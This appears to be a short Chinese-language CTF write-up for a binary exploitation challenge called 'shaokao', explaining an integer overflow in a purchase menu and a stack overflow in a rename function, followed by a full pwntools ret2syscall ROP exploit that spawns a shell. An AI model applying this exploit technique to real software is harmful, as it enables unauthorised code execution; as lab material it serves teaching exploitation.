下载 checksec exeinfo
64位,无canary和PIE IDA64 查看main函数 顺便运行一下程序:
经过测试可以知道 啤酒和烤串存在整数溢出 填负数就可以加钱
承包摊位后可以改名 这里存在溢出点:
同时显示的名字是全局变量name 可以写入binsh
同时该程序没有system函数 为静态链接 所以使用ret2syscall
exp:
from pwn import *
p = process('./shaokao')
p.sendlineafter("> ", b'1')
p.sendline(b'1')
p.sendline(b'-99999')
p.sendlineafter("> ", b'4')
p.sendlineafter("> ", b'5')
syscall_addr = 0x402404
name_addr = 0x4E60F0
rax_addr = 0x458827
rdi_addr = 0x40264f
rsi_addr = 0x40a67e
rdx_rbx_addr = 0x4a404b
payload = b'/bin/sh\x00' + b'a' * (0x20) + p64(rax_addr) + p64(0x3b)
payload += p64(rdi_addr) + p64(name_addr) + p64(rsi_addr) + p64(0) + p64(rdx_rbx_addr) + p64(0) * 2 + p64(syscall_addr)
p.sendline(payload)
p.interactive()
运行 得到flag: